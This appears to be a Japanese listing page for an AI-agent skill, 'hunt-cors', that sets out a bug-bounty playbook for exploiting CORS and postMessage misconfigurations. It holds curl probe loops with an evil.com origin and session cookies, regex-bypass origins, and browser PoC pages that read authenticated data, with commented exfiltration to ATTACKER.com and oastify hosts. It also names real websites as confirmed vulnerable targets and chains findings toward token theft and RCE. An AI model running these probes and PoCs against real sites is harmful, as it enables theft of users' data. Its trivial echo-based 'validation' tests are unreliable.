hunt-cors について
hunt-corsは、CORSポリシーとpostMessageのオリジン検証を調べるセキュリティテスト用スキルです。ヘッダーだけで判断せず、攻撃者のオリジンから認証済みの機密応答を読めることをブラウザーで確認します。
主な機能
- 01CORS対応エンドポイントの検出
- 02オリジン反射とnullオリジン信頼のテスト
- 03信頼オリジン正規表現の弱点確認
- 04プリフライトのメソッドとヘッダー規則の評価
- 05ブラウザーで応答を読めるか検証
- 06postMessageのオリジン検証確認
活用シーン
- 01攻撃者オリジンから認証済みAPIデータを読めるか検証
- 02複数APIエンドポイントのCORS挙動テスト
- 03プリフライト規則がクロスオリジンの状態変更を許すか確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-corsインストール後、Claude Code で/hunt-corsを入力して読み込まれたか確認します。
詳細
HUNT-CORS — クロスオリジンリソース共有の設定ミス
実際に報奨金につながるもの(つながらないもの)
CORS が High の報奨金につながるのは、攻撃者が管理するオリジンから、認証済みの機密データを認証情報付きでクロスオリジン読み取りでき、evil.com からレスポンス本文を読み取れることをブラウザーの PoC で証明できる場合だけです。
ほとんどの「発見」を無効にする、ブラウザーに関する重要なルールが 2 つあります。最初に確認してください。
Access-Control-Allow-Origin: *と認証情報は併用できません。 サーバーがACAO: *を返す場合、ブラウザーはcredentials: includeリクエストに対するレスポンスの送信や公開を拒否します。ワイルドカードのみのエンドポイントは、認証情報を悪用できません。セッションなしでも提供されるデータが機密情報の場合(まれです)に限り、調査する価値があります。通常は Informational/Low です。Access-Control-Allow-Credentials: trueだけでは意味がありません。 これは、ACAOが攻撃者の特定のオリジンを反映または許可し、認証情報付きのクロスオリジンfetchが実際に読み取り可能な本文を返す場合にのみ意味があります。オリジンを反映しないレスポンスに ACAC があっても、何の証明にもなりません。
実際のブラウザーで、認証済みのレスポンス本文をクロスオリジンで読み取れることを証明できない場合、High にはなりません。ヘッダーの差分だけを報告しないでください。
最重要のターゲット
- 任意のオリジンを反映+認証情報 — サーバーが
Originヘッダーをそのまま返し、ACAC: trueを設定します → あらゆるサイトが認証済み API のレスポンスを読み取れます。典型的な High です。 - null オリジンを信頼 —
ACAO: null+ACAC: true。sandboxiframe(またはdata:/リダイレクトチェーン)はOrigin: nullを送信するため、どのページからでも認証済みデータを読み取れます。 - サブドメイン正規表現のバイパス — パースに不備のある、信頼済みオリジンの正規表現です。適切なペイロードは不備の種類によって異なります(Phase 3 を参照してください。多くのスキルがここで誤ります)。
- サブドメインの乗っ取り → 信頼済みオリジン — CORS ポリシーが信頼している、参照先のないサブドメインを乗っ取って、そこに PoC をホストします(hunt-subdomain を参照)。
- postMessage のオリジンチェックがない/緩い —
event.originを厳密に検証せず、event.dataを処理するハンドラーです。
攻撃対象領域の兆候
Any endpoint returning an Access-Control-Allow-Origin header
API endpoints: /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial: /api/balance, /api/transactions
Admin/internal: /api/admin/*, /api/internal/*
(a)セッション Cookie が必要で、(b)本文に PII、トークン、CSRF トークン、その他の秘密情報を返すエンドポイントを優先してください。
手順ごとの調査方法
Phase 1 — CORS エンドポイントの検出
# Probe API endpoints across the entire surface. Critical: test MULTIPLE endpoints,
# not just /users — user-specific and resource-specific URLs may behave differently.
while read url; do
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "$url" \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
[ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt
# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
Phase 2 — 任意のオリジンの反映+null オリジン
複数の攻撃者オリジン(evil.com、null、evil.com:443)を使って、複数のエンドポイントをテストしてください。挙動はエンドポイントごとに異なる場合があります。
# Does the server reflect an arbitrary Origin back?
# Test multiple origins against multiple endpoints in a matrix
for origin in "https://evil.com" "null" "https://evil.com:443"; do
for endpoint in "/wp-json/wp/v2/users" "/wp-json/wp/v2/users/1" \
"/wp-json/wp/v2/posts" "/wp-json/wc/v3/" \
"/wp-json/elementor/v1/globals" "/api/me"; do
echo "--- Origin: $origin on $endpoint ---"
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
-H "Origin: $origin" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "${result:-NO CORS HEADERS}"
done
done
# Vulnerable (the High case):
# Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin
# Access-Control-Allow-Credentials: true <- + credentials => readable
#
# NOT exploitable for credentialed theft:
# Access-Control-Allow-Origin: * <- browser blocks creds read
# (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: null" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for: Access-Control-Allow-Origin: null + ACAC: true
Phase 3 — サブドメイン/信頼済みオリジンの正規表現バイパス
適切なペイロードは、サーバーにどの正規表現の不備があるかによって異なります。まず不備の種類を特定し、それに対応するペイロードを送信してください。間違えると、テストが無駄になり、偽陰性が発生します。
サーバーの正規表現(意図:*.target.com を信頼) | 不備 | 一致するバイパス用オリジン | 理由 |
|---|---|---|---|
^https?://.*\.target\.com$ | なし — エスケープされたドットと末尾アンカーがあります。正しい設定です。 | (単純なバイパスなし) | evil.target.com は設計上スコープ内です。x.target.com.evil.com は末尾が .evil.com なので、$ に一致しません。次に進むか、サブドメイン乗っ取りの可能性を調べてください。 |
^https?://.*target\.com$ | ドット区切りがない(target の前に \. がない) | https://eviltarget.com | .*target\.com$ は eviltarget.com に一致します。攻撃者は eviltarget.com を登録できます。 |
^https?://.*\.target\.com | 末尾アンカー $ がない | https://x.target.com.evil.com | 正規表現はプレフィックスに一致します。.target.com が現れた後、$ がないため .evil.com は無視されます。 |
^https?://target\.com | $ のないプレフィックスのみの一致 | https://target.com.evil.com | target.com のプレフィックスに一致し、残りの部分に制約はありません。 |
^https?://.*\.target\.com$ だが、正規表現のドットがエスケープされていない(.*.target.com$) | エスケープされていないドット=「任意の文字」 | https://xtargetXcom... のような形式、または Z が任意の1文字である https://evilZtargetZcom | . は任意の文字に一致するため、一致範囲が広がります。 |
| 上記のいずれか | ブラウザーが Origin に送信する特殊文字 | https://target.com%60.evil.com、https://target.com\x60evil.com | 一部のパーサーはバッククォートやアンダースコアを文字として扱います。Safari や古いブラウザーでは、通常と異なるオリジンが送信される場合があります。ブラウザーが実際にそれを送信することを確認してください。 |
# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
"https://evil.target.com" \
"https://eviltarget.com" \
"https://x.target.com.evil.com" \
"https://target.com.evil.com" \
"https://target.com%60.evil.com" \
"http://target.com"; do
RESULT=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: $ORIGIN" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done
サーバーが ACAC: true とともに、登録可能なあなたのオリジンを ACAO に反映した場合にのみ、バイパスが成立します。evil.target.com が反映されても、*.target.com のホストを実際に制御できない限り、脆弱性ではありません(制御できる場合は、Phase 6/hunt-subdomain を参照してください)。
Phase 4 — プリフライト(OPTIONS)ゲートのバイパス
単純でないリクエスト(カスタムヘッダー、PUT/DELETE/PATCH、単純でない
Content-Type)を送ると、CORS のプリフライト OPTIONS リクエストが発生します。ブラウザーは、プリフライトのレスポンスでメソッド/ヘッダーが許可された場合にのみ、実際のリクエストを送信します。次の2点をテストしてください。
- プリフライトで、任意のメソッド/ヘッダーがあなたのオリジンに許可されますか?
Access-Control-Allow-Methods/Access-Control-Allow-Headersが要求した内容をそのまま反映する場合、悪意のあるオリジンから状態を変更するリクエストを実行できます(JSON/SameSite なら通常は阻止される、CSRF のような書き込みにつなげられます)。
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: x-custom-auth, content-type" \
| grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
# Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.
- サーバー側でプリフライトが実際に適用されていますか? 一部のサーバーは
OPTIONSでオリジンを反映しますが、実際の GET/POST でも反映します。この場合、脆弱なのは読み取りパスであり、プリフライトは書き込みパスに到達できることを確認するだけです。GET/POST も直接テストしてください。プリフライトの結果が実際のリクエストの結果と同じだと決めつけないでください。curl は CORS を完全に無視するため、ブラウザーで確認してください。
フェーズ 5 — ブラウザーでの PoC(影響を証明できる唯一の方法)
curl --max-time 30 --connect-timeout 10 は CORS を強制しません。ブラウザーでは読み取りがブロックされる場合でも、反射されたヘッダーを問題なく表示します。CORS の High にはすべて、ブラウザーでの PoC が必要です。
5a. 任意のオリジンを反射する読み取り(evil.com でホストし、対象にログインした状態で開きます):
<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => {
document.getElementById("out").innerText = d; // prove readable body
// OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
})
.catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>
BLOCKED / TypeError が表示された場合、ブラウザーは読み取りを拒否しています。curl の結果にかかわらず、有効な検出結果ではありません(これは ACAO: * + 認証情報のケースです)。
5b. WordPress REST API の複数エンドポイントでの CORS 検証:
<!doctype html><body><pre id="out"></pre>
<script>
// WordPress REST API CORS credential reflect — proven on 5 targets in field recon
(async () => {
const TARGET = "https://TARGET";
let output = [];
// 1. Get ALL users
try {
let r = await fetch(TARGET + "/wp-json/wp/v2/users", {credentials:"include"});
let d = await r.json();
output.push("USERS (" + d.length + "): " + JSON.stringify(d.map(u => u.name)));
// OOB exfil: await fetch("https://ATTACKER.com/exfil?u="+btoa(JSON.stringify(d)));
} catch(e) { output.push("USERS: BLOCKED - " + e); }
// 2. Get posts
try {
let r = await fetch(TARGET + "/wp-json/wp/v2/posts?per_page=100", {credentials:"include"});
let d = await r.json();
output.push("POSTS: " + d.length + " items");
} catch(e) {}
// 3. Get media/documents (PDFs, images)
try {
let r = await fetch(TARGET + "/wp-json/wp/v2/media?per_page=100", {credentials:"include"});
let d = await r.json();
output.push("MEDIA: " + d.length + " items");
} catch(e) {}
document.getElementById("out").innerText = output.join("\n---\n");
})();
</script></body>
5c. Null オリジンからの読み取り — sandbox iframe は Origin: null を送信します。内側のドキュメントで allow-same-origin を指定しないことで、オリジンが不透明(null)になる必要があります。
<!doctype html><body>
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => parent.postMessage(d, "*"));
</script>'></iframe>
<script>
window.addEventListener("message", e => {
// d is the authed body, read cross-origin via a null Origin
// fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>
(Null オリジンを送信する別の方法:data: / blob: ドキュメントを使うか、最終ホップが異なるスキームになる 302 リダイレクトチェーン経由でリクエストを転送します。)
5d. 信頼されたサブドメインからの読み取り — 正規表現で信頼されるホストを制御できるようになったら(乗っ取りによる実際のサブドメイン、またはフェーズ 3 の脆弱な正規表現に一致する登録可能なオリジン)、そこで 5a をホストします。反射されたオリジンは正当にホストしているオリジンになるため、ブラウザーは読み取りを許可します。
フェーズ 6 — postMessage のオリジンチェック
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
| grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
# .indexOf("target.com") > -1 <- "target.com.evil.com" passes
# .endsWith("target.com") <- "eviltarget.com" passes
# startsWith("https://target") <- "https://target.evil.com" passes
# no check at all
postMessage は HTTP CORS とは別のクラスです。影響は DOM 側(XSS、クライアント側の認証バイパス)に及びます。悪用の詳細については hunt-dom を参照してください。
自動化(トリアージ専用 — 証明には使わない)
# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/
# Burp: passively flags origin reflection; always re-confirm in a real browser.
自動化で検出した結果はすべて手がかりであり、検出結果ではありません。ブラウザーで 5a/5b を再現してください。
チェーン表
| CORS の検出結果 | チェーン先 | 影響 |
|---|---|---|
| 攻撃者のオリジンを反射 + 認証情報 | ブラウザーで /api/me、/api/tokens、/api/csrf を読み取る | PII + トークン + CSRF トークンの窃取 → 多くの場合 ATO |
| オリジンを反射 + CSRF トークンを読み取る | hunt-csrf:トークンを窃取 → 状態変更を偽造 | CSRF 対策済みフォームへの CSRF |
| プリフライトで任意のメソッド/ヘッダーを許可 | evil origin から認証済み PUT/DELETE を実行 | クロスオリジンでの状態変更 |
| 信頼されたサブドメインに XSS がある | hunt-xss → 信頼されたオリジンから 5a を実行 | 認証情報を含む、確実な読み取り |
| 放置された信頼済みサブドメイン | hunt-subdomain takeover → そこで 5d をホスト | 認証情報を含む完全な読み取り |
| postMessage にオリジンチェックがない/緩い | hunt-dom:iframe を挿入し、細工したメッセージを送信 | DOM XSS / クライアント側の認証バイパス |
検証の徹底(提出前にお読みください)
- ブラウザーでの証明は必須です。 ヘッダーを返す curl は、脆弱性の悪用を示すものではありません。
evil.comから認証済みのレスポンス本文を読み取ったスクリーンショットまたはコンソールログを提示してください。 fetch が例外を投げる、またはBLOCKEDと記録される場合、証拠はありません。 ACAO: *と認証情報の組み合わせは脆弱性ではありません。 ブラウザーがブロックします。未認証で機密データにアクセスできる場合に限り、ワイルドカードを追跡してください(その場合、通常は Low です)。ACAC: trueだけでは何も証明できません — 反映されたオリジンと組み合わせて、クロスオリジンのレスポンス本文を正常に読み取れる必要があります。- 正規表現の種類をペイロードに合わせてください(フェーズ 3)。 エスケープされたドットで終端が固定された正規表現に対して
target.com.evil.comを提出しないでください — 一致せず、バグでもありません。 evil.target.comが反映されても、自動的にバグとは限りません — 実際に制御できない限り、設計上、スコープ内のサブドメインです。- ブラインド/ヘッドレス環境では OOB で確認してください: 読み取った本文を Burp Collaborator / oastify ホストに流出させ、インタラクションを提示してください。ヒットが明確に自身のものと分かるよう、テストごとに固有のマーカーを使用してください。
- 機密データの要件。 読み取り可能な
/api/healthは High ではありません。深刻度を正当化するには、読み取り対象が PII、トークン、シークレット、または金融データであることを示してください。
深刻度:
- 攻撃者のオリジンを反映 + 認証情報 + 機密性の高い本文、ブラウザーで証明済み:High
- プリフライトによって、機密性の高い操作で攻撃者オリジンからの状態変更が許可される:High
- null オリジン + 機密性の高い認証済み本文、ブラウザーで証明済み:Medium–High
- サブドメイン乗っ取り/XSS を利用した認証情報付き読み取り:High/Critical
- オリジンを反映するが、認証情報がない/機密性がない:Low–Informational
- **
ACAO: *のみ(認証情報を使用できない):データがシークレットでない限り Informational - エンドポイント固有のポリシー: CORS ヘッダーは
/にはなくても、API ルートにはある場合があります。ルートだけでなく、アプリケーションのマッピング時に特定した範囲内の認証済みエンドポイントをテストしてください。
オペレーター向けメモ
WP Engine / WordPress の CORS 認証情報パターン
WP Engine でホストされている WordPress サイトは、CORS の有力なターゲットです。WP Engine のスタックでは、デフォルトで CORS のオリジン制限が追加されません — WordPress REST API は、リクエスト元のオリジンを問わず、Access-Control-Allow-Origin: <origin> と Access-Control-Allow-Credentials: true を返します。この動作は、サイトが Cloudflare WAF の背後にある場合も同じです。CORS ヘッダーは CDN ではなく、アプリケーション層(WordPress)から送信されるためです。
現場での調査により脆弱性が確認された WP Engine のターゲット:
- gocarwash.com(洗車、Cloudflare + WP Engine)— CRITICAL CORS + 32 サブドメイン
- dogtopia.com(ペットのグルーミング、Cloudflare + WP Engine)— CRITICAL CORS + 10 WP ユーザー
- provectusre.com、arm-risk.com、finefloorproducts.com(Wave 2-3 のターゲット)
テストパターン:
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i access-control
# Expected CRITICAL response:
# access-control-allow-origin: https://evil.com
# access-control-allow-credentials: true
WP Engine 以外の WordPress(Apache、nginx)でも同じパターンが確認されています — locksmiths.net(Apache WordPress)でも、同様の CRITICAL CORS の反映がありました。このパターンは、特定のホストに限らず、WordPress REST API のデフォルト設定に広く見られます。
併せて確認: Jetpack などの WordPress プラグインは、CORS の公開ヘッダーに Jet-Query-Total と Jet-Query-Pages を含めることがあります。これは、キャッシュされたページでも WordPress REST API が CORS ヘッダー付きで応答していることを示す副次的なシグナルです。
検証
- CORS プローブ — オリジン反映の検出を確認します:
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control" && echo "PASS" || echo "(httpbin may be down)" - null オリジンテスト — null オリジンの構文を確認します:
echo "Origin: null" | grep -q "null" && echo "PASS" || echo "FAIL" - プリフライトテスト — OPTIONS の構文を確認します:
echo "OPTIONS /api/me HTTP/1.1" | grep -q "OPTIONS" && echo "PASS: OPTIONS method recognized" || echo "FAIL"
3 つのテストすべてで CORS プロービングを検証します。
注意点
- ACAO: で ACAC がない場合は安全です* —
Access-Control-Allow-Origin: *が設定されていても、Access-Control-Allow-Credentials: trueがなければ悪用できません。ここで調査を終了してください。 - GET のみをテストする — OPTIONS のプリフライトでのみ CORS ヘッダーを返すエンドポイントもあります。必ず両方のメソッドをテストしてください。
- 単一のオリジンだけを調査する —
Origin: https://evil.comのみをテストすると、null オリジンへの信頼やサブドメインの正規表現を回避するパターンを見逃します。 - 認証が必要なエンドポイントでの誤検出 — 401/403 のレスポンスでも CORS ヘッダーが返されることがあります。認証クッキーの有無を両方試してください。
- サブドメインの正規表現:末尾アンカーがない —
$を付けずに^https://.*\.target\.comとすると、https://x.target.com.evil.comにも一致します。必ず末尾アンカーを回避できるかテストしてください。 - プリフライトのみの CORS — OPTIONS でのみ Origin を検証するサーバーもあります。GET で回避できる場合は、プリフライトが実際の防御ゲートです。
関連スキル
hunt-xss— 信頼されたサブドメインでの XSS により、攻撃者のオリジンから認証情報付きの CORS 読み取りが可能になります。攻撃の流れ:app.target.comで XSS →evil.comから認証情報付きでフェッチ → 被害者の認証済みセッションから CSRF トークンと PII を窃取します。hunt-csrf— 任意のメソッド/ヘッダーを許可するプリフライト CORS により、クロスオリジンで状態を変更するリクエストが可能になります。攻撃の流れ:プリフライトでPUTとX-CSRF: 1が許可されることを確認 → 攻撃者のオリジンから SameSite 保護を回避してパスワードやメールアドレスを変更します。hunt-dom— Origin の検証が欠けた postMessage ハンドラーは、クライアント側の CORS 回避手段になります。攻撃の流れ:攻撃者の iframe から対象ウィンドウへ postMessage を送り、HTTP CORS の適用を受けずに認証トークンを渡します。hunt-subdomain— CORS で信頼されているサブドメインのダングリング CNAME により、認証情報付きの完全な読み取りが可能になります。攻撃の流れ:staging.target.comを乗っ取る → 支配下に置いたオリジンで CORS の PoC をホスト → ブラウザーが信頼されたオリジンからの認証情報付き読み取りを許可します。hunt-source-leak— JavaScript バンドルから、CORS 設定が異なる内部 API ルートが判明することがあります。攻撃の流れ:ソースマップから/internal/admin/api/meが判明 → 公開されていないこのエンドポイントで CORS をテスト — メイン API より広範な CORS ポリシーが設定されていることがよくあります。cors-chain-automation— API エンドポイントを一括プローブし、大規模に CORS の設定ミスを検出します。初期の手動調査後の自動化にこのスキルを組み合わせます。攻撃の流れ:手動の hunt-cors で/api/meに任意のオリジン反映+認証情報の許可を発見 →cors-chain-automationで同じ設定ミスのパターンがないか、関連するすべてのエンドポイントを一括スキャンします。wp-plugin-automation— WordPress REST API での CORS 認証情報反映は WP Engine のホストで常態化しており、wp-plugin-automationは CORS のプリミティブを RCE に発展させるプラグインの CVE を見つけます。攻撃の流れ:WordPress REST API の CORS からユーザー一覧と CSRF トークンを窃取 →wp-plugin-automationで脆弱な Slider Revolution を発見 → 管理者セッションだけで RCE を実行します。